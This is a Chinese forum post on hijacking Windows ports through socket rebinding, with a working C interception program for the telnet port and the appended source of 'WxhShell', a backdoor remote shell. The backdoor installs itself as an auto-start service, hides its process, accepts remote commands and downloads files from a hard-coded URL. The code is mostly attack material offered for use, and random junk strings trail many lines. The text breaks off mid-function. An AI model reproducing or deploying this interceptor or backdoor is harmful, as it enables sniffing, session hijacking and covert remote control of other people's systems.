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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p3yU:q#A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OCK>%o$[  
eW50s`bKY  
  saddr.sin_family = AF_INET; Uu'dv#4Iw  
&z@~B&O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2d`c!  
]tY:,Mfs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /S~m)$vu  
Fm3t'^SqF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .=<$S#x^Hb  
z<&m*0WYA  
  这意味着什么?意味着可以进行如下的攻击: XUS vhr$|  
R#eg^7HfX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H l<$a"K7\  
4!%F\c46  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7bF*AYM  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v\%G|8+]  
aE/D*.0NI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  79BaDB`{a  
GwLFL.Ke  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p]ivf  
^Z}Ob= .G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RU&_j* U  
LFu%v7L`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !')y&7a~  
&.N $  
  #include H{(]9{  
  #include shgAhx  
  #include !;3PG9n3|h  
  #include    tju|UhP3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M1!pQC_9  
  int main() 7r 0,> 3"  
  { %b}gDWs  
  WORD wVersionRequested; Qa`hR  
  DWORD ret; XDz5b.,  
  WSADATA wsaData; %XTA;lrz  
  BOOL val; HeA{3s  
  SOCKADDR_IN saddr; XL5Es:"+?S  
  SOCKADDR_IN scaddr; ,)fkr]`<  
  int err; cAuY4RV  
  SOCKET s; %f ju G  
  SOCKET sc; +R.N%_  
  int caddsize; .EP6oKA  
  HANDLE mt; K :LL_,  
  DWORD tid;   QIU,!w-3X  
  wVersionRequested = MAKEWORD( 2, 2 ); |$+5@+Zz  
  err = WSAStartup( wVersionRequested, &wsaData ); %NARyz  
  if ( err != 0 ) { [aqu }Su  
  printf("error!WSAStartup failed!\n"); 0 P|&Pq&IH  
  return -1; & >JDPB?5  
  } W/+K9S25  
  saddr.sin_family = AF_INET; o>lms t%<  
   #AViM_u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C>QIrZu  
-yx/7B5@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C+V* Fh3  
  saddr.sin_port = htons(23); z1V#'$_5-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s8gU7pT49  
  { lWZuXb,G  
  printf("error!socket failed!\n"); pchBvly+0  
  return -1; !1sU>Xb4J  
  } \f Lvw  
  val = TRUE; k(s;,B\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >cR)?P/o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \h{r;#g  
  { ]!{y a8  
  printf("error!setsockopt failed!\n"); >_ \<E!j  
  return -1; E^Gg '1  
  } `,Vv["^PB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C;rG]t^%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mY&ud>,U:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H AB#pd9  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +: Ge_-  
  { #`SD$;  
  ret=GetLastError(); f-RK,#^?,  
  printf("error!bind failed!\n"); n \G Ry'  
  return -1; ^ @=^;nB  
  } rR{,)fX;  
  listen(s,2); +Ov2`O8?  
  while(1) GH4iuPh]  
  { -8Ti*:  
  caddsize = sizeof(scaddr); lC?Icn|o  
  //接受连接请求 `S/wJ'c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); : mGAt[Cc  
  if(sc!=INVALID_SOCKET) dE=Ue#1U@5  
  { NeOxpn[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "5|Lz)=  
  if(mt==NULL) `iG,H[t+j  
  { [J#1Ff;  
  printf("Thread Creat Failed!\n"); e 9$C#D> D  
  break; %b!-~ Y.  
  } le>Wm&E  
  } ) M<vAUF  
  CloseHandle(mt); df*w>xS  
  } u=l1s1>  
  closesocket(s); y9HK |  
  WSACleanup(); \}]iS C.2  
  return 0; !dcwq;Ea  
  }   zsl,,gk9Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) c'fSu;1  
  { rXi uwz\  
  SOCKET ss = (SOCKET)lpParam; @1R P/y%  
  SOCKET sc; j -O2aL  
  unsigned char buf[4096]; T=Z.U$  
  SOCKADDR_IN saddr; >`T5]_a  
  long num; U yqXMbw@  
  DWORD val; J{"kw1Lu  
  DWORD ret; A7XnHPIw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <eN R8(P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c9Es%@]  
  saddr.sin_family = AF_INET; in%;Eqk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dfj\RIV8  
  saddr.sin_port = htons(23); irBDGT~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q 2? X"!  
  { GR4?BuY,  
  printf("error!socket failed!\n"); Z'v-F^  
  return -1; ]rBM5~  
  } Z0,~V  
  val = 100; j8,n7!G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UH`hOJ?  
  { XR+3j/zEQ  
  ret = GetLastError(); :Og:v#r8=  
  return -1; lT8\}hNI+  
  } ,t$,idcT+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =v6*|  
  { #&!G"x7  
  ret = GetLastError(); (X[2TT3j!  
  return -1; D vkxI<Xa  
  } =(r* 5vd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wVK*P -C  
  { =H]F`[B=  
  printf("error!socket connect failed!\n"); Zy"=y+e!E;  
  closesocket(sc); {OMg d3%14  
  closesocket(ss); m@xi0t  
  return -1; Bn wzcl  
  } dG'SZ&<  
  while(1) EmVuwphv  
  { tOdT[&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '{?C{MK3Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "&YYO#YO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YrI|gz)  
  num = recv(ss,buf,4096,0); *6ZCDm&N  
  if(num>0) `i!wq&1g7  
  send(sc,buf,num,0); / l>.mK()  
  else if(num==0) DtCEm(b0  
  break; {i{xo2<1"  
  num = recv(sc,buf,4096,0); KlxN~/gyik  
  if(num>0) BuQ|~V  
  send(ss,buf,num,0); m$Y :0_^-  
  else if(num==0) cL7g}$W $  
  break; pJpNO$$w  
  } }6zbT-i  
  closesocket(ss); n[+'OU[  
  closesocket(sc); .#6MQJ]OH  
  return 0 ; T`YwJ6N  
  } '%iPVHK7  
T3J'fjY  
|WQ9a' '  
========================================================== SOh-,c\C  
".2K9j7$  
下边附上一个代码,,WXhSHELL lvSdY(8  
=jAFgwP\  
========================================================== F#r#}.B='U  
/="HqBI#i  
#include "stdafx.h" 8QgA@y"  
9 t:]  
#include <stdio.h> rs8\)\z  
#include <string.h> +a)E|(cN  
#include <windows.h> mB 55PYA  
#include <winsock2.h> AHh#Fx+K  
#include <winsvc.h> x-m/SI]_N  
#include <urlmon.h> Pe7e ?79  
_2Zp1h,  
#pragma comment (lib, "Ws2_32.lib") UGKaOol.  
#pragma comment (lib, "urlmon.lib") +c,[ Q  
m\0cE1fir  
#define MAX_USER   100 // 最大客户端连接数 I*)VZW  
#define BUF_SOCK   200 // sock buffer b[^{)$(  
#define KEY_BUFF   255 // 输入 buffer 0&w0a P`Y  
Y*YFB|f?  
#define REBOOT     0   // 重启 gSi5u# }J  
#define SHUTDOWN   1   // 关机 cnNOZ$)  
mf$j03tu  
#define DEF_PORT   5000 // 监听端口 4YA./j%'  
0{rx.C7|  
#define REG_LEN     16   // 注册表键长度 wz(K*FP  
#define SVC_LEN     80   // NT服务名长度 a+z2Zd!u\x  
*o?i:LE]  
// 从dll定义API JSVeU54T^<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zmFws-+A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mV\$q@sII  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n'w,n1z7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &y. dmW  
)C]x?R([m  
// wxhshell配置信息 fj']?a!m  
struct WSCFG { w9&#~k]5  
  int ws_port;         // 监听端口 SG]K   
  char ws_passstr[REG_LEN]; // 口令 6].:.b\qQc  
  int ws_autoins;       // 安装标记, 1=yes 0=no M}FWBs'*|  
  char ws_regname[REG_LEN]; // 注册表键名 :=.*I  
  char ws_svcname[REG_LEN]; // 服务名 p8>%Mflf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8C&x MA^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 00<{:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ aKd5@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zQfkMa.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Myh 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DdjCn`jqlf  
f\o R:%  
}; Os&1..$Nb  
gY5l.&  
// default Wxhshell configuration X0i3_RVa  
struct WSCFG wscfg={DEF_PORT, "kSwa16O  
    "xuhuanlingzhe", `iYc<N`  
    1, rw u3Nb  
    "Wxhshell", zy)i1d  
    "Wxhshell", ZgYZwc&-  
            "WxhShell Service", $$gtZ{ukQ  
    "Wrsky Windows CmdShell Service", 0X"\ a'M_  
    "Please Input Your Password: ", Q<=Y  
  1, uLW/f=7 L  
  "http://www.wrsky.com/wxhshell.exe", .h8M  
  "Wxhshell.exe" j$P I,`  
    }; 5 si}i'in  
(V9h2g&8L  
// 消息定义模块 qei$<j'b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .E<Dz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eV;me>,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j%xBo:  
char *msg_ws_ext="\n\rExit."; )Vk:YL++  
char *msg_ws_end="\n\rQuit."; V5s& hZZYa  
char *msg_ws_boot="\n\rReboot..."; n7iE8SK|k  
char *msg_ws_poff="\n\rShutdown..."; xrI}3T  
char *msg_ws_down="\n\rSave to "; $c =&0yt5  
<Cq"| A  
char *msg_ws_err="\n\rErr!"; TzF0/T!  
char *msg_ws_ok="\n\rOK!"; fv ?45f  
otnV-7)@  
char ExeFile[MAX_PATH]; ,y.3Fe  
int nUser = 0; V/-MIH7SF  
HANDLE handles[MAX_USER]; K%2I  
int OsIsNt; dXZP[K#  
<!!nI%NC  
SERVICE_STATUS       serviceStatus; AU`OESSI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x5vzPh`  
s`vSt* ]K  
// 函数声明 G"Pj6QUva  
int Install(void); .0 X$rX=  
int Uninstall(void); $rB!Ex{@ac  
int DownloadFile(char *sURL, SOCKET wsh); FO^24p  
int Boot(int flag); 8MQ bLj'H  
void HideProc(void); ?N _)>&b  
int GetOsVer(void); 1 ypjyu  
int Wxhshell(SOCKET wsl); G5u meqYC  
void TalkWithClient(void *cs); BHclUwj  
int CmdShell(SOCKET sock); _LsYMUe  
int StartFromService(void); ULu O0\W  
int StartWxhshell(LPSTR lpCmdLine); ybYXD?  
%&1$~m0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .b~OMTHuvM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [oJ& J>U'  
$w`veP  
// 数据结构和表定义 J ~'~[,K  
SERVICE_TABLE_ENTRY DispatchTable[] = `\e'K56W6  
{ un&>  
{wscfg.ws_svcname, NTServiceMain}, QpJ IDM/  
{NULL, NULL} Q'C 4pn@  
}; oVreP  
w'XSb.\)_m  
// 自我安装 VLx T"]f  
int Install(void) ZR2\ dH*  
{ 7_7xL(F/  
  char svExeFile[MAX_PATH]; 9Q=>MOB-  
  HKEY key; GJ>ypEWo  
  strcpy(svExeFile,ExeFile); - BjEL;  
fGo_NB  
// 如果是win9x系统,修改注册表设为自启动 YpiRF+G  
if(!OsIsNt) { k3 /4Bt G/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DbQBVy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NC;T( @  
  RegCloseKey(key); V"BVvSNu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |&(H^<+Xp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wNbTM.@  
  RegCloseKey(key); i(z+a6^@|  
  return 0; jigbeHRy  
    } z(jU|va{_1  
  } j}"]s/= 6  
} )v};C<  
else { ud.poh~|  
#'#4hJ*YC  
// 如果是NT以上系统,安装为系统服务 Y0rf9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;+r0 O0;9  
if (schSCManager!=0) U:J /\-  
{ -5o?#%  
  SC_HANDLE schService = CreateService 1RURZoL  
  ( rT o%=0P  
  schSCManager, :S#eg1y.w]  
  wscfg.ws_svcname, KqFmFcf|  
  wscfg.ws_svcdisp, FU^Y{sbDg  
  SERVICE_ALL_ACCESS, uAChu]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sek6+#|=  
  SERVICE_AUTO_START, qmQFHC_  
  SERVICE_ERROR_NORMAL, B>1M$3`E  
  svExeFile, W&Y4Dq^  
  NULL, Wnb)*pPP  
  NULL, pn+D@x#IA  
  NULL, kWI]fZ_n  
  NULL, Ua}g  
  NULL FW/6{tm  
  ); 4GEjW4E  
  if (schService!=0) _CHKh*KHML  
  { w($XEv;  
  CloseServiceHandle(schService); k&n\ =tKN  
  CloseServiceHandle(schSCManager); ,^Ex}Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q=T<^Tk#e  
  strcat(svExeFile,wscfg.ws_svcname); jY1^+y{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hLu&lY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .0 rJIO  
  RegCloseKey(key); 1 OuSH+  
  return 0; cKaL K#~  
    } F I80vV7  
  } !$g(&  
  CloseServiceHandle(schSCManager); ':5U&  
} QSO5 z2|  
} ,"4X&>_f  
m~b#:4D3  
return 1; F[Qsv54  
} +3(CGNE  
g`y/ _  
// 自我卸载 rCV$N&rK  
int Uninstall(void) #MmmwPB_  
{ '5&B~ 1&  
  HKEY key; k i~Raa/e  
Yqq$kln  
if(!OsIsNt) { 1 8l~4"|fk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `K1PGibV  
  RegDeleteValue(key,wscfg.ws_regname); P#M<CG9  
  RegCloseKey(key); BN bb&]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I_{9eG1w?  
  RegDeleteValue(key,wscfg.ws_regname); 2nOe^X!*  
  RegCloseKey(key); ?#');`  
  return 0; \J#I}-a&j  
  } bYRQI=gW':  
} p;)klH@X  
} zwF7DnW<<  
else { 4jI*Y6Wkz  
Y+S~b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SV$ASs  
if (schSCManager!=0) 7]0\[9DyJ  
{ 3@#,i<ge:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {RWahnr{  
  if (schService!=0) ^+.e5roBKj  
  { `qQQQ.K7)z  
  if(DeleteService(schService)!=0) { |G5=>W  
  CloseServiceHandle(schService); _ ;v _L  
  CloseServiceHandle(schSCManager); QQ2OZy> W  
  return 0; B%?|br  
  } O>{t}6o  
  CloseServiceHandle(schService); W"DxIy  
  } -bG#h)yj  
  CloseServiceHandle(schSCManager); YjMbd?v  
} a-o hS=W  
} \p_8YC  
/-cX(z 7  
return 1; yM\tbT/l  
} =h1 QN  
wN%DM)*k  
// 从指定url下载文件 Rg!aKdDl$  
int DownloadFile(char *sURL, SOCKET wsh) c"_H%x<[  
{ v:so85(S<  
  HRESULT hr; d%"@#bB  
char seps[]= "/";  \1c`)  
char *token; =Am*$wGI  
char *file; Jh hT7\h(  
char myURL[MAX_PATH]; gEe W1:AB  
char myFILE[MAX_PATH]; A/W7 ;D  
^Xz`hR   
strcpy(myURL,sURL); "#"Fp&Z7  
  token=strtok(myURL,seps); azATKH+j  
  while(token!=NULL) f%{ ag  
  { q2"'W|I  
    file=token; _S7M5{U_  
  token=strtok(NULL,seps); L M<=j  
  } lyc{Z%!3  
u{dN>}{  
GetCurrentDirectory(MAX_PATH,myFILE); MsVI <+JZ  
strcat(myFILE, "\\"); (Os OPTp  
strcat(myFILE, file); z jNjmC!W  
  send(wsh,myFILE,strlen(myFILE),0); Hi 0df3t  
send(wsh,"...",3,0); 3qd-,qC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pDnFT2  
  if(hr==S_OK) PX>\j&  
return 0; %0M^  
else eDMwY$J  
return 1; M5bj |tQ4  
!B38! L  
} QR-R5XNT[  
)*AA9   
// 系统电源模块 'V1 -iJj9  
int Boot(int flag) 7)5$1  
{ c#-97"_8  
  HANDLE hToken; -W"0,.Dvg  
  TOKEN_PRIVILEGES tkp; #K~j9DuR  
F/,<dNJ  
  if(OsIsNt) { ^T J   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +!Gr`&w*)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )|1JcnNSa  
    tkp.PrivilegeCount = 1; 2ZIY{lBe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S5JR`o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /xbF1@XtL  
if(flag==REBOOT) { Ac(Vw%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8$xKg3-3M  
  return 0; u$ / ]59  
} vCe<-k  
else { UA u4x 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VX@G}3Ck  
  return 0; wk 7_(gT`0  
} *"bp}3$^^  
  } ^XB8A=xi  
  else { 7%x+7  
if(flag==REBOOT) { x!Y@31!Dy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +g7nM7,1a  
  return 0; x;]{ 8#-z  
} $%"}N_M  
else { QKkr~?sTO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tsp-]-)  
  return 0; JF\viMfR  
} %YAiSSsV  
} 5WN Z7cO  
-ZON']|<}k  
return 1; YD.^\E4o  
} g>-[-z$E3  
%hb5C 4q  
// win9x进程隐藏模块 ^W05Z!}  
void HideProc(void) "8 mulE,  
{ QYb?;Z  
qiryC7.E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e[dRHl  
  if ( hKernel != NULL ) ymCIk /\  
  { twS3J)UH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ b_gwJ'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %$KO]   
    FreeLibrary(hKernel); BT#g?=n#`  
  } c9@jyq_H?  
JB_`lefW,'  
return; xA E@cwg  
} bD-Em#>  
dkp[?f)x  
// 获取操作系统版本 -ix1<e  
int GetOsVer(void) /~5YTe( F  
{ j'x{j %U  
  OSVERSIONINFO winfo; PCfs6.*5Mf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * v]UgPk  
  GetVersionEx(&winfo); 1y;zPJ<ntm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lhj2u]yU0S  
  return 1; 4T E ?mh}  
  else *v3 |  
  return 0; mnj A8@1  
} wO%:WL$5  
Q0_W<+`  
// 客户端句柄模块 BF!zfX?n  
int Wxhshell(SOCKET wsl) 0M98y!A 5^  
{ ~=ys~em e  
  SOCKET wsh; <J`xCm K  
  struct sockaddr_in client; .Y.# d7TA  
  DWORD myID;  RZ%X1$  
j!)p NZW.<  
  while(nUser<MAX_USER) H12@12v  
{ 1U7HS2  
  int nSize=sizeof(client); )c !S@Hs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b15qy?`y  
  if(wsh==INVALID_SOCKET) return 1; aB'@8[]z  
r ngw6?`n-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R*m" '|U  
if(handles[nUser]==0) `p|vutk)U  
  closesocket(wsh); Yk?q7xuT  
else ^W'[l al.  
  nUser++; Am  $L  
  } %Ege^4PE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NM.B=<Aw*  
$(=1A>40  
  return 0; V p{5Kxq  
} Ghc0{M<  
T_T{c+,Zd$  
// 关闭 socket o+TZUMm  
void CloseIt(SOCKET wsh) UV.9 KcN.  
{ )7J>:9h  
closesocket(wsh); au* jMcq  
nUser--; m)}MkC-  
ExitThread(0); U^\~{X  
} I_7EfAqg(  
<vDm(-i3  
// 客户端请求句柄 !*6z=:J  
void TalkWithClient(void *cs) 2z3A"HrlA  
{ U$uO%:4%  
{m:R v&T  
  SOCKET wsh=(SOCKET)cs; a0\UL"z#+  
  char pwd[SVC_LEN]; kELyD(^P`  
  char cmd[KEY_BUFF]; K~T\q_ZPZ  
char chr[1]; i]pG}SJ  
int i,j; faX#KRpfd  
GJPZ[bo  
  while (nUser < MAX_USER) { BwD1}1jp  
=]"|x7'!  
if(wscfg.ws_passstr) { p>3'77 V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >/bK?yT<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _B FX5ifK  
  //ZeroMemory(pwd,KEY_BUFF); y/eX(l<{  
      i=0; 8-YrmP2k  
  while(i<SVC_LEN) { uF"`y&go  
);H[lKy  
  // 设置超时 ~W{h-z%q  
  fd_set FdRead; [)vwg`]   
  struct timeval TimeOut; ^?[<!VBI  
  FD_ZERO(&FdRead); ygt)7f5  
  FD_SET(wsh,&FdRead); ^I?y\:.  
  TimeOut.tv_sec=8; q.{/{9  
  TimeOut.tv_usec=0; g>P9hIl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S'p`ECfVMA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *Bsmn!_cB{  
e/jM+%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5zna?(#}  
  pwd=chr[0]; 5>Yd\(`K  
  if(chr[0]==0xd || chr[0]==0xa) { Uy|=A7Ad c  
  pwd=0; N~_jiVD>  
  break; F@roQQu  
  } IkNt! 2s_  
  i++; pY#EXZ#   
    } Q.dy $`\  
fhx:EZ:~  
  // 如果是非法用户,关闭 socket 3eP0v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); })vr*[  
} g@VndAp  
>ImM~SR)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Am0C|(#Xm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ) '`AX\  
[j U  
while(1) { `h5eej&s(  
wD^do  
  ZeroMemory(cmd,KEY_BUFF); NVWeJ+w  
m>dcb 6B+g  
      // 自动支持客户端 telnet标准   Sb4PCt  
  j=0; (H%d]  
  while(j<KEY_BUFF) { Ilu`b|%D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cGzYW~K  
  cmd[j]=chr[0]; bRz^=  
  if(chr[0]==0xa || chr[0]==0xd) { _D,f 4.R  
  cmd[j]=0; }Rxg E~ F  
  break; P`I G9  
  } ;s. 5\YZ"k  
  j++; -<JBKPtA  
    } +xBK^5/x  
\(U"_NPp  
  // 下载文件 7r[ %| :  
  if(strstr(cmd,"http://")) { 39aCwhh7v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /,N!g_"Z  
  if(DownloadFile(cmd,wsh)) zo7XmUI3P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oT (:33$  
  else  QXxLe*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ld3Bi2d|  
  } ' raB  
  else { 0Q- Mxcj  
(GcKaUg8*  
    switch(cmd[0]) { io r [v  
  *(&ClUQQ  
  // 帮助 %3c|  
  case '?': { ^8oc^LOa~2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); feI[M;7u  
    break; v;bP8)mI  
  } 7?!Z+r  
  // 安装 ZG/8Ds  
  case 'i': { *&dW\fx  
    if(Install()) Ce5w0&VlS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _95}ifSVm  
    else M o"JV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |;.Pj 3)-  
    break; $v'Y:  
    } cR=94i=t  
  // 卸载 k BiBXRt  
  case 'r': { NrJ_6sjF0g  
    if(Uninstall()) Q%n{*py  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;--d`[  
    else U!\2K~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .qIy7_^  
    break; TXJY2J*24  
    } 7edPH3  
  // 显示 wxhshell 所在路径 A`x -L  
  case 'p': { Kl aZZJ  
    char svExeFile[MAX_PATH]; QlRoe| {  
    strcpy(svExeFile,"\n\r"); ckf<N9  
      strcat(svExeFile,ExeFile); 'ybth  
        send(wsh,svExeFile,strlen(svExeFile),0); oEQ{m5O9  
    break; ~3'RW0  
    } p2Dh3)&  
  // 重启 pF sCd"zv  
  case 'b': { U R1JbyT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5oU`[&=Ob  
    if(Boot(REBOOT)) /UpD$,T|^|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?5- ;H  
    else { C(V[wvL  
    closesocket(wsh); Y^f94s:2S  
    ExitThread(0); O}K_l1  
    } g5tjj.  
    break; ^"O{o8l>2  
    } &2io^A P  
  // 关机 4{;8:ax&w  
  case 'd': { %@lV-(5q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pt6hGSo.  
    if(Boot(SHUTDOWN)) D!bKm[T  
